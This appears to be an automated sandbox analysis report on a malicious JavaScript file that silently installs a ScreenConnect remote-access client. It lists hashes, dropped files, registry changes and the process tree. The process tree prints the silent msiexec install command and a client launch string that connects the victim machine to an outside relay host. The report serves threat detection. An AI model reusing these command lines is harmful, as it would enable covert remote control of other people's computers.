Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 18:23
Static task
static1
Behavioral task
behavioral1
Sample
Docs-20260831164753837.js
Resource
win10v2004-20260513-en
windows10-2004-x64
15 signatures
150 seconds
General
- Target Docs-20260831164753837.js
- Size 3.1MB
- Sample260831-w1etcazzht
- SHA256 e5fe86cfc5da5158fab5d19404ebe5a0fb66fcdbf1969301bd839a291214d78a
- MD5 3fa845209f10c2772718ff7f0d09c05d
- SHA1 c2d94f305f030efc2bd071e3de0c147c38423d95
- SHA512 61c74eeea1d121d232a71945fa656acf648baee551b3165e52f031b58decd33f672f6abc236be6b1c7a46a03b19a058bd213c04542dfb14b75c8d8c615e9f373
- SSDEEP 24576:zBrt/B7bF/ylFk3Myos1sUoeAIyFA4Wc2Qkrhs2u5BaHvse1EqoOww6WHtlusXBP:qn2mnr1HaFnb6YPBtzg9HWS9l9InONlK
- TLSH T15DE5124406124AB22264E45A0FEF5E37B361C71E1878F719FAD4FA05361C3AA3DD6D8E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes dropped EXE 3 IoCs
pid Process 3880 ScreenConnect.ClientService.exe 4364 ScreenConnect.WindowsClient.exe 3312 ScreenConnect.WindowsClient.exe - Loads dropped DLL 25 IoCs
pid Process 4608 MsiExec.exe 4556 rundll32.exe 4556 rundll32.exe 4556 rundll32.exe 4556 rundll32.exe 4556 rundll32.exe 4556 rundll32.exe 4556 rundll32.exe 4608 MsiExec.exe 4608 MsiExec.exe 4608 MsiExec.exe 5896 MsiExec.exe 5896 MsiExec.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe - Drops file in Program Files directory 15 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Core.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll msiexec.exe - Drops file in Windows directory 25 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIE9E9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE9E9.tmp-\ScreenConnect.Core.dll rundll32.exe File created C:\Windows\Installer\SourceHash{C447D87D-DE32-4186-AF8A-C2864B4629A4} msiexec.exe File opened for modification C:\Windows\Installer\MSIEE02.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEE8F.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e59e853.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIEEBF.tmp msiexec.exe File created C:\Windows\Installer\e59e853.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIE9E9.tmp-\CustomAction.config rundll32.exe File created C:\Windows\SystemTemp\~DFD9F45EEF0B9A3513.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF79627765AB1FCB39.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIEFE9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF077.tmp msiexec.exe File created C:\Windows\Installer\wix{C447D87D-DE32-4186-AF8A-C2864B4629A4}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e59e857.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIE9E9.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIE9E9.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIEDF1.tmp msiexec.exe File created C:\Windows\Installer\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF5780D7480F9AFD78.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF4CE8B6292E42C5F5.TMP msiexec.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe - Modifies registry class 32 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (a883241204db1a2c)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\ProductName = "ScreenConnect Client (a883241204db1a2c)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\D78D744C23ED6814FAA82C68B464924A msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D78D744C23ED6814FAA82C68B464924A msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Version = "336266244" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\PackageCode = "932BEFD17B3906A4397389F1FE826B58" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\PackageName = "ScreemConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D78D744C23ED6814FAA82C68B464924A\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\ProductIcon = "C:\\Windows\\Installer\\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\DeploymentFlags = "3" msiexec.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1672 msiexec.exe 1672 msiexec.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe 3880 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4292 msiexec.exe Token: SeIncreaseQuotaPrivilege 4292 msiexec.exe Token: SeSecurityPrivilege 1672 msiexec.exe Token: SeCreateTokenPrivilege 4292 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4292 msiexec.exe Token: SeLockMemoryPrivilege 4292 msiexec.exe Token: SeIncreaseQuotaPrivilege 4292 msiexec.exe Token: SeMachineAccountPrivilege 4292 msiexec.exe Token: SeTcbPrivilege 4292 msiexec.exe Token: SeSecurityPrivilege 4292 msiexec.exe Token: SeTakeOwnershipPrivilege 4292 msiexec.exe Token: SeLoadDriverPrivilege 4292 msiexec.exe Token: SeSystemProfilePrivilege 4292 msiexec.exe Token: SeSystemtimePrivilege 4292 msiexec.exe Token: SeProfSingleProcessPrivilege 4292 msiexec.exe Token: SeIncBasePriorityPrivilege 4292 msiexec.exe Token: SeCreatePagefilePrivilege 4292 msiexec.exe Token: SeCreatePermanentPrivilege 4292 msiexec.exe Token: SeBackupPrivilege 4292 msiexec.exe Token: SeRestorePrivilege 4292 msiexec.exe Token: SeShutdownPrivilege 4292 msiexec.exe Token: SeDebugPrivilege 4292 msiexec.exe Token: SeAuditPrivilege 4292 msiexec.exe Token: SeSystemEnvironmentPrivilege 4292 msiexec.exe Token: SeChangeNotifyPrivilege 4292 msiexec.exe Token: SeRemoteShutdownPrivilege 4292 msiexec.exe Token: SeUndockPrivilege 4292 msiexec.exe Token: SeSyncAgentPrivilege 4292 msiexec.exe Token: SeEnableDelegationPrivilege 4292 msiexec.exe Token: SeManageVolumePrivilege 4292 msiexec.exe Token: SeImpersonatePrivilege 4292 msiexec.exe Token: SeCreateGlobalPrivilege 4292 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeShutdownPrivilege 5896 MsiExec.exe Token: SeDebugPrivilege 3880 ScreenConnect.ClientService.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4292 msiexec.exe 1672 msiexec.exe 4608 MsiExec.exe 5896 MsiExec.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4884 wrote to memory of 4292 4884 wscript.exe 88 PID 1672 wrote to memory of 4608 1672 msiexec.exe 90 PID 4608 wrote to memory of 4556 4608 MsiExec.exe 91 PID 1672 wrote to memory of 5896 1672 msiexec.exe 92 PID 3880 wrote to memory of 4364 3880 ScreenConnect.ClientService.exe 94 PID 3880 wrote to memory of 3312 3880 ScreenConnect.ClientService.exe 95
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260831164753837.js1⤵
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi" /qn /norestart2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4292
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4CE546C88B9705A910F585F636A4D4132⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIE9E9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240773812 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4556
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 65F74F1AF328D2AC5CBAFC9DD0DA9CD5 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5896
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C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=vca.org.in&p=8041&s=878dbf90-6411-4638-ab24-4c3472ca24f6&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm&t=&c=&c=&c=&c=&c=&c=&c=&c="1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "24e127d3-b084-49ea-8e87-a765d1da235b" "User"2⤵
- Executes dropped EXE
PID:4364
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C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "c1a98f39-5acd-415e-8798-3407c0404db1" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3312
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Config.Msi\e59e856.rbs
- Size 212KB
- SHA256 e51fb1d07db642f9348ad0c3ad115ff32e2e4d09856118e8484ea943d378953b
- MD5 ca2ccdad6ebdc71e93deaf515380ef05
- SHA1 150ec39f31b6c9f64aa7646dd9da569bc8b48d08
- SHA512 22f782f7d39dbd0fc135ca4f60af96ef2b7b5f2775a4eed6a91d0f234f543957dfe405fd817255c4f874d31eb18c157bc74372ebc6b3164e7c8345a1f13d05fd
- SSDEEP 3072:+o9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGl:+ouH2aCGw1ST1wQLdqvl
- TLSH T15E248C227480807EE7FA1A32D93E9A71BE7DF6241760C59EC3848C1E5D604C06BF6B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources
- Size 39KB
- SHA256 f9c327d646ab427270918b07fa11a1375fc4cd003b394e057548c098151c37e2
- MD5 0ffc219c44c800d6213b6c9f7221df35
- SHA1 21e59ec923b8c697dacf83fa8e8a2fd5d6308214
- SHA512 96e0179a99f4225cd46a9e459ef6bf2b34ed1d959751bdfac5977f6ffd0b6718867064202535bab91289233fd9fabed2b3b5c7c221b359d4a7bcfcc25990fcbb
- SSDEEP 768:0HmXO7CXQ2+ePdAlABzYbUUYh8F4K9Tw/LohjKR1OvM8ZErWIri:mmX5Q2+ePdA6BzYbUUYh8F4K9Tw/Lohh
- TLSH T10F031E1277FD0A58F5F36F06BE7A94619D37BD562E25C06E1028415E1AB2F80C9B2373
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources
- Size 2KB
- SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
- MD5 0b47901f2c782922f034fba8e8062916
- SHA1 893075f8ca04f92dbef7f6e81223e1b08e29328f
- SHA512 b3db1c4ffed1dbaef5e03f4819bcba5f0a6864c26123e059b6a649911adbd380ae3aa1eb63c2397ea1ea5fc61103468b5db838080d7c7d5de848b5002c31cbd6
- TLSH T1B34103CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B213099880B33
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll
- Size 153KB
- SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
- MD5 e5a9cedfca2f0071e26610e7a505cc4f
- SHA1 3f845a06d02a712707b503223ef69a72de655fd1
- SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
- SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
- TLSH T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll
- Size 32KB
- SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
- MD5 2ab89617eac8dddf0af371d30f813937
- SHA1 7eb3b9afa84e85798f6b688560f371431e273821
- SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
- SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
- TLSH T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
- Size 88KB
- SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
- MD5 5b9410ffcc24eb553593da53c3c8c77f
- SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
- SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
- SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
- TLSH T196939E22B6D19432E5B3063258B8DE410B7EFE278F7199977788024E5A742C09F39B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll
- Size 1.7MB
- SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
- MD5 0b55f9a8ccff2a90bd1a042f963ac19a
- SHA1 19beb65c14ee627b14b2c0144ab066a7c4ec5d79
- SHA512 5c7c9bb901f44e6894657b0bbe1bf28fd929aad1d364edfa782ac7544236af2e663a6d41620fc0c537dd69aaf3f23a5f4b864350f90bc95c1a73eb5c392f21a9
- SSDEEP 24576:nEl2drimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wCK:nEii963PSumT0+TFiH7efPp3Z0
- TLSH T15B85AE42F2D211F5D4AB443888BE571BEB747C090360CBAF97D46E666E337D09A3A352
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
- Size 575KB
- SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
- MD5 751c0c5eb4122412f182d73051e31f06
- SHA1 6c63fad44bd8193eb71ccd768f99d62b23d46c00
- SHA512 5058a503d9943152cee0f4d52fe049d57c744a58aa54b6136ec1ee73d094ae42023ffb2efcd47e6d6ab47970b314d98618eee76418479298b31fc7d1c8f3b034
- SSDEEP 6144:DZpqLWJSylfGuvlQRuHyRq24LLCqIScCLDrPPCv+Fgdrf9ujkjJTLgKlpX0JHOoW:DZxuT74DrHStpkFOo8x0aQ3avIPvCczG
